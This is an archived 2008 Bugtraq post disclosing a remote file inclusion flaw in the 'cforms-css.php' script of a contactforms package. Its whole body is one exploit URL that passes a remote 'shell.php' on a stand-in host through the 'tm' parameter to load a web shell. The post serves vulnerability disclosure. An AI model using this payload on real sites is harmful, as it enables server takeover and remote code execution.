<<< Date Index >>> <<< Thread Index >>>

contactforms "cforms-css.php" Remote File Inclusion

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: contactforms "cforms-css.php" Remote File Inclusion
From: Sw33t.h4cK3r@xxxxxxxxxxxxxxxxxxxxxxxxx, com@xxxxxxxxxxxxxxxxx
Date: 31 Jan 2008 03:14:03 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Discovery by: Sw33t h4cK3r

-----------

Exploit :

http://Example.com/contactforms/cforms-css.php?tm=http://site.com/shell.php

Prev by Date: [ GLSA 200801-22 ] PeerCast: Buffer overflow
Next by Date: [ MDVSA-2008:029 ] - Updated ruby packages fix possible man-in-the-middle attack
Previous by thread: [ GLSA 200801-22 ] PeerCast: Buffer overflow
Next by thread: [ MDVSA-2008:029 ] - Updated ruby packages fix possible man-in-the-middle attack
Index(es):
- Date
- Thread